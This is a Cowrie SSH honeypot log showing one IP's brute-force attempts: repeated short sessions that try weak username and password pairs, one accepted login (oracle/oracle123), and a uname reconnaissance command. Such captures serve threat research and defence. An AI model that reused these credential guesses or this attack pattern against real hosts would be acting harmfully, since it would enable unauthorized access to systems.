{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:25.233910Z","src_ip":"45.156.87.253","session":"f586a157bbf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123321","message":"login attempt [dev/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:25.476923Z","src_ip":"45.156.87.253","session":"f586a157bbf2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:26.560335Z","src_ip":"45.156.87.253","session":"f586a157bbf2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":59066,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e08fc441bfa","protocol":"ssh","message":"New connection: 45.156.87.253:59066 (10.17.0.5:22) [session: 9e08fc441bfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:28.485164Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:28.492131Z","src_ip":"45.156.87.253","session":"9e08fc441bfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:28.574130Z","src_ip":"45.156.87.253","session":"9e08fc441bfa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"pi","message":"login attempt [nexus/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:28.819260Z","src_ip":"45.156.87.253","session":"9e08fc441bfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:29.951036Z","src_ip":"45.156.87.253","session":"9e08fc441bfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":38718,"dst_ip":"10.17.0.5","dst_port":22,"session":"58204adccc9f","protocol":"ssh","message":"New connection: 45.156.87.253:38718 (10.17.0.5:22) [session: 58204adccc9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:31.782781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:31.786119Z","src_ip":"45.156.87.253","session":"58204adccc9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:31.922219Z","src_ip":"45.156.87.253","session":"58204adccc9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0","message":"login attempt [root/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:32.312522Z","src_ip":"45.156.87.253","session":"58204adccc9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:33.395853Z","src_ip":"45.156.87.253","session":"58204adccc9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":38726,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbdcd0138d8f","protocol":"ssh","message":"New connection: 45.156.87.253:38726 (10.17.0.5:22) [session: dbdcd0138d8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:35.309375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:35.312972Z","src_ip":"45.156.87.253","session":"dbdcd0138d8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:35.393391Z","src_ip":"45.156.87.253","session":"dbdcd0138d8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"1234","message":"login attempt [bob/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:35.635647Z","src_ip":"45.156.87.253","session":"dbdcd0138d8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:36.719176Z","src_ip":"45.156.87.253","session":"dbdcd0138d8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":38736,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d84853dac7b","protocol":"ssh","message":"New connection: 45.156.87.253:38736 (10.17.0.5:22) [session: 7d84853dac7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:38.635267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:38.638900Z","src_ip":"45.156.87.253","session":"7d84853dac7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:38.720400Z","src_ip":"45.156.87.253","session":"7d84853dac7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"reza","password":"reza","message":"login attempt [reza/reza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:38.966155Z","src_ip":"45.156.87.253","session":"7d84853dac7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:40.059684Z","src_ip":"45.156.87.253","session":"7d84853dac7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":60810,"dst_ip":"10.17.0.5","dst_port":22,"session":"12238a3fb475","protocol":"ssh","message":"New connection: 45.156.87.253:60810 (10.17.0.5:22) [session: 12238a3fb475]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:42.009570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:42.067251Z","src_ip":"45.156.87.253","session":"12238a3fb475","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:42.190591Z","src_ip":"45.156.87.253","session":"12238a3fb475","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password","message":"login attempt [ubuntu/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:42.439769Z","src_ip":"45.156.87.253","session":"12238a3fb475","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:43.524912Z","src_ip":"45.156.87.253","session":"12238a3fb475","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":60824,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7d037a96c10","protocol":"ssh","message":"New connection: 45.156.87.253:60824 (10.17.0.5:22) [session: a7d037a96c10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:45.541625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:45.544910Z","src_ip":"45.156.87.253","session":"a7d037a96c10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:45.625326Z","src_ip":"45.156.87.253","session":"a7d037a96c10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123","message":"login attempt [developer/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:45.869338Z","src_ip":"45.156.87.253","session":"a7d037a96c10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:47.027467Z","src_ip":"45.156.87.253","session":"a7d037a96c10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":60826,"dst_ip":"10.17.0.5","dst_port":22,"session":"06a76db6ce0f","protocol":"ssh","message":"New connection: 45.156.87.253:60826 (10.17.0.5:22) [session: 06a76db6ce0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:48.919942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:48.925172Z","src_ip":"45.156.87.253","session":"06a76db6ce0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:49.006478Z","src_ip":"45.156.87.253","session":"06a76db6ce0f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle123","message":"login attempt [oracle/oracle123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:49.251402Z","src_ip":"45.156.87.253","session":"06a76db6ce0f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:49.543769Z","src_ip":"45.156.87.253","session":"06a76db6ce0f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:49.545902Z","src_ip":"45.156.87.253","session":"06a76db6ce0f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:49.691917Z","src_ip":"45.156.87.253","session":"06a76db6ce0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:49.695798Z","src_ip":"45.156.87.253","session":"06a76db6ce0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":57686,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd684589444e","protocol":"ssh","message":"New connection: 45.156.87.253:57686 (10.17.0.5:22) [session: fd684589444e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:52.459060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:52.461881Z","src_ip":"45.156.87.253","session":"fd684589444e","protocol":"ssh"}
